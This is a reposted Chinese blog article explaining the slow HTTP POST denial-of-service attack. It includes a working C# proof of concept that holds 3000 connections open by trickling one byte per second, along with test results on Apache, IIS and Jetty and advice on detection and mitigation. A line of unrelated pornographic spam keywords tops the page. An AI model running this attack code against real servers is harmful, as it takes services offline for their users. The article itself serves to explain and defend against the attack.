日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 人文社科 > 生活经验 >内容正文

生活经验

HTTP POST慢速DOS攻击初探

發(fā)布時(shí)間:2023/11/27 生活经验 63 豆豆
生活随笔 收集整理的這篇文章主要介紹了 HTTP POST慢速DOS攻击初探 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

1. 關(guān)于HTTP POST慢速DOS攻擊

HTTP Post慢速DOS攻擊第一次在技術(shù)社區(qū)被正式披露是今年的OWASP大會(huì)上,由Wong Onn Chee 和 Tom Brennan共同演示了使用這一技術(shù)攻擊的威力。他們的slides在這里:

http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html

這個(gè)攻擊的基本原理如下:

針對(duì)任意HTTP Server,建立一個(gè)連接,指定一個(gè)比較大的content-length,然后以很低的速度發(fā)包,比如10-100s發(fā)一個(gè)字節(jié),hold住這個(gè)連接不斷開。如果客戶端持續(xù)建立這樣的連接,那么服務(wù)器上可用的連接將很快被占滿,從而導(dǎo)致DOS.

這一攻擊引起我注意的原因有這幾點(diǎn):

1. 它可以針對(duì)任意Web服務(wù)。HTTP協(xié)議在接收到request之前是無法對(duì)請(qǐng)求內(nèi)容作校驗(yàn)的,所以即使你的Web應(yīng)用沒有可用form表單,這個(gè)攻擊一樣有效。

2. 廉價(jià)。在客戶端以單線程方式建立較大數(shù)量的無用連接,并保持持續(xù)發(fā)包的代價(jià)非常低廉。實(shí)際試驗(yàn)中一臺(tái)普通PC可以建立的Socket連接在3000個(gè)以上。這對(duì)一臺(tái)普通的web server,將是致命的打擊。更不用說結(jié)合肉雞群做分布式DOS了。

2. 攻擊示范

為演示這個(gè)攻擊,我做了一個(gè)簡(jiǎn)單的POC,C#代碼如下。

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets;
using System.Threading;namespace HTTPPostDoS
{class TestDemo{static void Main(string[] args){string host = "target";int port = 8080;int max_number_of_connection = 3000;List<TcpClient> clients = new List<TcpClient>();for (int i = 0; i < max_number_of_connection; i++){TcpClient client = new TcpClient();clients.Add(client);client.Connect(host, port);if (client.Connected){string header = "POST /a HTTP/1.1\r\n" +"HOST: " + host + "\r\n" +"Connection: keep-alive\r\n" +"Keep-Alive: 900\r\n" +"Content-Length: 100000000\r\n" +"Content_Type: application/x-www-form-urlencoded\r\n" +"Accept: *.*\r\n";int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));if (sent <= 0){Console.WriteLine("Error while connecting to server");}else{Console.WriteLine("Connected");}}}while (true){int i = 0;foreach (TcpClient client in clients){i++;client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));Console.WriteLine("Client " + i + " just sent a byte.");}Thread.Sleep(1000);}}}
}

這段代碼向目標(biāo)服務(wù)器的示例Web Server發(fā)起攻擊,每秒鐘向服務(wù)器post一個(gè)字節(jié)以保證連接不會(huì)過期。

這個(gè)攻擊對(duì)Apache的效果十分明顯,Apache的maxClients幾乎在瞬間被hold住,瀏覽器在攻擊進(jìn)行期間無法訪問測(cè)試頁面。

但是針對(duì)IIS的攻擊被證明沒有效果,同時(shí)我還測(cè)試了公司使用最多的Jetty,有了更多有意思的發(fā)現(xiàn)。

3. Jetty Server 在NIO和BIO模式下對(duì)此攻擊的不同反應(yīng)

在針對(duì)Jetty做測(cè)試時(shí),我發(fā)現(xiàn)針對(duì)不同的Jetty Connector配置,攻擊的效果有天壤之別。

我們知道Jetty在配置Connector時(shí),可以有NIO和BIO兩種模式供選擇。當(dāng)使用BIO模式時(shí),Jetty的max thread被瞬間耗盡,服務(wù)停止。但是在使用NIO模式時(shí),即使客戶端的惡意socket連接數(shù)已經(jīng)達(dá)到3000個(gè),但是服務(wù)依然沒有受到任何影響。這個(gè)應(yīng)該很好理解,由于這兩種模式下的Connector直接影響到服務(wù)端處理Socket的模型。IIS的情況我不是很清楚,但是猜測(cè)MS在實(shí)現(xiàn)時(shí)采用了NIO Socket模型。

詳細(xì)的配置情況,請(qǐng)參見Jetty的官方文檔。

其它的Web Server,我沒有做進(jìn)一步測(cè)試。如有興趣請(qǐng)自行驗(yàn)證。

4. 檢測(cè)與防范

目前針對(duì)Apache服務(wù)器,官方尚沒有解決方案出臺(tái)。建議:

1. 檢查日志,查找類似的錯(cuò)誤報(bào)警:

[error] server reached MaxClients setting, consider raising the MaxClients setting

看看有沒有被這種攻擊盯上。

2. 調(diào)整防火墻設(shè)置。有條件的,在IPS上做一下規(guī)則設(shè)置。

注意這些都還只是暫時(shí)措施,因?yàn)檫@種攻擊的變化可能很多,事實(shí)上使用HTTP GET也可以達(dá)到一樣的效果。要知道GET也是可以傳輸數(shù)據(jù)的。

針對(duì)Jetty服務(wù)器,強(qiáng)烈建議使用NIO非阻塞模式,對(duì)服務(wù)器可以起到很好的保護(hù)作用。

相關(guān)閱讀:

1. New HTTP POST DDoS Attack Tools Released

2. Wong Onn Chee 和Tom Brennan的Paper

3. Using HTTP POST for denial of service

?

補(bǔ)充1:我的同事,Active安全經(jīng)理Eric Zhong和應(yīng)用安全工程師Vian Ma對(duì)此文有貢獻(xiàn),謹(jǐn)此致謝

補(bǔ)充2:鳳凰網(wǎng)的孫立先生指出,微軟的IIS實(shí)現(xiàn)了完成端口(IOCP),IO效率相當(dāng)高。這解釋了為何此攻擊對(duì)IIS無效。


原文地址:http://www.unclejoey.com/2010/12/28/http-post%E6%85%A2%E9%80%9Fdos%E6%94%BB%E5%87%BB%E5%88%9D%E6%8E%A2/

總結(jié)

以上是生活随笔為你收集整理的HTTP POST慢速DOS攻击初探的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。